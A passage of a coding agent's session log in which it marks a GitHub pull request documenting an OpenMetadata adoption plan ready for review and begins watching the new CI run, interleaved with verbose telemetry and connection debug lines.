codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:41.948Z] [INFO] \n[2026-07-12T04:08:41.993Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_54\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url'\",\"aggregated_output\":\"\u2713 Pull request link-foundation/meta-ontology#6 is marked as \\\"ready for review\\\"\\n{\\\"body\\\":\\\"## Summary\\\\n\\\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\\\n- Enumerate all explicit and implied requirements and map each to a solution.\\\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\\\n\\\\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\\\n\\\\nFixes #5\\\\n\\\\n## Research method\\\\n\\\\nResearch was performed on 2026-07-12 using:\\\\n\\\\n- all issue and PR comment/review API streams (all empty at collection time);\\\\n- the official OpenMetadata repository and latest release metadata;\\\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\\\n\\\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\\\n\\\\n## Deliverables\\\\n\\\\n- `docs/case-studies/issue-5/README.md`\\\\n- `docs/case-studies/issue-5/source-inventory.md`\\\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\\\n- `docs/case-studies/issue-5/raw-data/*.json`\\\\n\\\\n## Verification\\\\n\\\\n- `cargo fmt --all -- --check`\\\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\\\n- `cargo test --doc --verbose`\\\\n- `cargo clippy --all-targets --all-features`\\\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\\\n- JSON snapshots parsed successfully\\\\n- `git diff --check`\\\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\\\n\\\\n## Follow-up recommendation\\\\n\\\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.\\\",\\\"headRefOid\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"isDraft\\\":false,\\\"statusCheckRollup\\\":[{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847/job/86613875688\\\",\\\"name\\\":\\\"Detect Changes\\\",\\\"startedAt\\\":\\\"2026-07-12T04:08:10Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847/job/86613875700\\\",\\\"name\\\":\\\"Version Modification Check\\\",\\\"startedAt\\\":\\\"2026-07-12T04:08:08Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"2026-07-12T04:08:06Z\\\",\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847/job/86613875968\\\",\\\"name\\\":\\\"Create Changelog PR\\\",\\\"startedAt\\\":\\\"2026-07-12T04:08:07Z\\\",\\\"status\\\":\\\"COMPLETED\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"}],\\\"title\\\":\\\"Document OpenMetadata best-practice adoption plan\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/6\\\"}\\n[{\\\"conclusion\\\":\\\"\\\",\\\"createdAt\\\":\\\"2026-07-12T04:08:06Z\\\",\\\"databaseId\\\":29179259847,\\\"headSha\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"status\\\":\\\"in_progress\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-07-12T04:01:59Z\\\",\\\"databaseId\\\":29179103369,\\\"headSha\\\":\\\"e4a**********************************43d\\\",\\\"status\\\":\\\"completed\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:41.993Z] [INFO] \n[2026-07-12T04:08:42.030Z] [INFO] 2026-07-12T04:08:42.027532Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:42.030Z] [INFO] \n[2026-07-12T04:08:42.047Z] [INFO] 2026-07-12T04:08:42.046572Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:42.047Z] [INFO] \n[2026-07-12T04:08:42.049Z] [INFO] 2026-07-12T04:08:42.047978Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:42.049Z] [INFO] \n[2026-07-12T04:08:42.052Z] [INFO] 2026-07-12T04:08:42.051247Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:42.052Z] [INFO] \n[2026-07-12T04:08:42.166Z] [INFO] 2026-07-12T04:08:42.163447Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:42.166Z] [INFO] 2026-07-12T04:08:42.163550Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:42 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"0363325a-0c17-45d2-8d1b-f766bc4679c7\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=TvvD7K7FUqUhumOxe8ZkCeaYA967btELP3Yozyth12aUvO4j8jEH1qsxQRvr8nFyf9wNx%2FqSQuC3BGwjrr1MO5tJVKEQoGVNWdaK2KstD7cBKmMRMWoR1dfMU%2Bfx\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d302eefeb92b4-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:42.166Z] [INFO] \n[2026-07-12T04:08:43.058Z] [INFO] 2026-07-12T04:08:43.057756Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134b09488191a2ab3a10a735424c\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNLP12AUwjuOwt-GoxmK-J141mpLoakF8rlZi7CL25jrmzIDbRhjYZW7oB_-73YQQi9UUOXgwZ3nJfbE2SQExacOV8esbxpYKKGCKuPn0i4Cpj-_dUEoPoVGZlwyiWg0wSZ2NjpZQfnizqUWs9qY4S2F8HHXa3JT3_uUpZINZ2e72WDjpUxI3prHH-X9Q3vxK8WRnMTz0Pf1PSGAokoy8FehAIIfFsUVvBIFAfBWTIajkzBzV9ALRwqoHngD8UHHVNcmSZgD-uvKT2zXt0bHDWy137_Or5rTTnvYhEx06cVsC7ehwndYLu6ubHALVGtYmRlWflDDwWEYhkyERS2hGmK-JNBhPOJqRyPg5laAk4x0525vagjcuN30B2qEVCKk0ncCMfMxB5Vt5p4QV7FkRYxuHJmum3d5ivSp2j1MdbYLgmyPBFpk8rJueKjtLJhIUZoMFWmbKcw5dGvyQTPl9xu-6g1w89lLhoVwTxojZe4CtZTxlefcDD36Qmx3e3-eIXuIVhr4itf9-Ju2gIu9lucn_uLAC8GbkJrJsNKfMK9Sx4Kv-LIi2IZ4IiO9uaT-r-7yvcRw6_bxb8uzTeyLu_z6SBoLPOgWKgXqCKWbuF0by71soKcHLCxlCaOKmHV_F0d69eL3pXy4o1fAozVX_4Uv5Njn_qYJUcnR4K_GxwHZO1jBNztxeZDUCo9kWoEt4fdjKgHbKNzME7dzvw2VyhsCL5gX4ln0q1FmcOqeDx19EEI8G0UvsqItXIxr9rcyRoksx3FGmuItPP2omgkA3b0eVj30sSdr58ltswFHKbCieOeca96CdEO32S65-skHrAI2Y4za4koSDC7A2tdfQQaIdRidd6ouJZIA2Y8PYGegfRzM9OSZbKK-6odX2Nj30TN58ubkvEbJJtuUMlqDiW43A==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:43.058Z] [INFO] \n[2026-07-12T04:08:43.870Z] [INFO] 2026-07-12T04:08:43.869662Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134b09488191a2ab3a10a735424c\"), summary: [SummaryText { text: \"**Planning CI run monitoring**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNLeNkRk2QPnT4jWSjN2VY4hIxf83H1A5IZ2sYzOQWPNA3-ow8NzZFRTXK_u004aqvgFa4QzVx5xCyv9kA0aXeFlcCZxAjB6iB9PfxaqQr4yNdoBPjX6oml23Zt2ONgL3QhQE96N0SgQ6lhowaVibsS7sNDNx4p5qfx4zHz0ltHyIPLECxxZ4S3mRU-GDJ_LViWtfIUQlbUDwoK4mmkHmr3QIk7BGTpra1n_OvRlOTqtawu5OOw_YIKydHIgOLaDWSfg5H4DUDk9D3aEGqmUp3GnVFYzOmmE1p_AzF31xW1B999c6lLWLklJmQbmWFJZLeWHDWwlBC-Fv5n2QyMKC1aNM65my_Z3SsLFu1Hr2Gm2aZR1HPRAs5XBlJ47EVtxBMX58PiDZolt-YMeKRW-h-2mqnK5q8bAWRo8wmlHfbY3_a0BIKAIaLtNbBW-qEO6zH3PsrYcCEappicGSTfkV_f8dGJkVaTIqyGoxsV1kuNg8-D1goWS7Cj7KdreY-iy_U0bJEP4xd_o7JwbYwMa2y6BUc_FSje8kiRWM-lygTH2o60kX0n3mp4vzUduVjo9pnesQnknJPtQRkRxewKfujxD-b5ZAJmAcJPFVjlaHXT0XPdd3sCv0rqL3TYLG9zE2ciwfYyI3f9GuHToTfEW76dRFZZ2MqyS6FOfBgZkQpxAIaTgsFslw4y-R3vrSaSsWsOfyJx9PME6d2QDtrhsPE33_orWmRHcw7AXdsgSeAU4pvxWEKFD1C_05TSx0RqiYvl0MBr23H3lCaP2o7u9PEMkirATQu-iBO28iv0zLAC3B-WuKi7wyh9W_FSGbJGPzAacddkwjzk9mnIJL8Q6VExEN__dC5ZS7zjSKQ-0oCaNb59BX3T-2W-biMt8gStLXTb9DqaSVfa8YoTcwi84kZAgKNYgSZ2_FXu4XY8fNK__eyUB5HkMtrwuKgvBSjtFHnGI6u5kdYis-6KND4or3ZE7bUMbEk1KCLORqaMKG-ijkbed8s83QXSE57_6C4iuvmNoipgL7cySU-gOvDFbZ7e9HEG5njT4--ESQb099pwiII=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:43.870Z] [INFO] \n[2026-07-12T04:08:43.874Z] [INFO] 2026-07-12T04:08:43.870324Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a53134bdafc8191a61fd5aaa9420905\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:43.874Z] [INFO] \n[2026-07-12T04:08:43.875Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_55\",\"type\":\"reasoning\",\"text\":\"**Planning CI run monitoring**\"}}\n[2026-07-12T04:08:43.875Z] [INFO] \n[2026-07-12T04:08:44.884Z] [INFO] 2026-07-12T04:08:44.881804Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a53134bdafc8191a61fd5aaa9420905\"), role: \"assistant\", content: [OutputText { text: \"PR 6 is updated, pushed, and marked ready for review. The fresh CI run is correctly attached to commit `4dcfb8e` (the older successful run was only for the placeholder); I\u2019m waiting for this new run and will inspect preserved logs if any job fails.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:44.884Z] [INFO] 2026-07-12T04:08:44.882514Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53134cdbd48191965363289064153b\"), status: Some(\"in_progress\"), call_id: \"call_Nt5vT7JL7WwMvBc4nnk8vlqo\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:44.884Z] [INFO] \n[2026-07-12T04:08:44.886Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_56\",\"type\":\"agent_message\",\"text\":\"PR 6 is updated, pushed, and marked ready for review. The fresh CI run is correctly attached to commit `4dcfb8e` (the older successful run was only for the placeholder); I\u2019m waiting for this new run and will inspect preserved logs if any job fails.\"}}\n[2026-07-12T04:08:44.886Z] [INFO] \n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710503Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53134a0758819188bf3e6b18abb3da\"\n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710550Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79080 output_token_count=185 cached_token_count=77568 reasoning_token_count=28 tool_token_count=79265 ttft_ms=1110 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:46.710Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710568Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=79080 output_token_count=185 cached_token_count=77568 reasoning_token_count=28 tool_token_count=79265 ttft_ms=1110 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:46.710Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:46.716Z] [INFO] 2026-07-12T04:08:46.710631Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:08:46.716Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:46.716Z] [INFO] \n[2026-07-12T04:08:46.960Z] [INFO] 2026-07-12T04:08:46.956884Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-b81d59f8-94a0-40c6-86d8-3a8b655966f8 decision=approved source=Config event.timestamp=2026-07-12T04:08:46.956Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:46.960Z] [INFO] \n[2026-07-12T04:08:47.149Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_57\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:47.149Z] [INFO] \n[2026-07-12T04:08:56.941Z] [INFO] 2026-07-12T04:08:56.940411Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Nt5vT7JL7WwMvBc4nnk8vlqo arguments=const r=await tools.exec_command({cmd:\"gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:08:56.941Z] [INFO]  duration_ms=10223 success=true output=Script running with cell ID 24\n[2026-07-12T04:08:56.941Z] [INFO] Wall time 10.1 seconds\n[2026-07-12T04:08:56.941Z] [INFO] Output:\n[2026-07-12T04:08:56.941Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:56.940Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:56.941Z] [INFO] 2026-07-12T04:08:56.940508Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Nt5vT7JL7WwMvBc4nnk8vlqo duration_ms=10223 success=true arguments_length=283 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:56.940Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:56.941Z] [INFO] 2026-07-12T04:08:56.940781Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Nt5vT7JL7WwMvBc4nnk8vlqo tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10223 total_duration_ms=10223\n[2026-07-12T04:08:56.941Z] [INFO] \n[2026-07-12T04:08:57.015Z] [INFO] 2026-07-12T04:08:57.013880Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:57.015Z] [INFO] \n[2026-07-12T04:08:57.022Z] [INFO] 2026-07-12T04:08:57.020550Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:57.020Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:57.022Z] [INFO] 2026-07-12T04:08:57.020602Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:57.020Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:57.022Z] [INFO] 2026-07-12T04:08:57.020617Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:57.022Z] [INFO] \n[2026-07-12T04:08:59.363Z] [INFO] 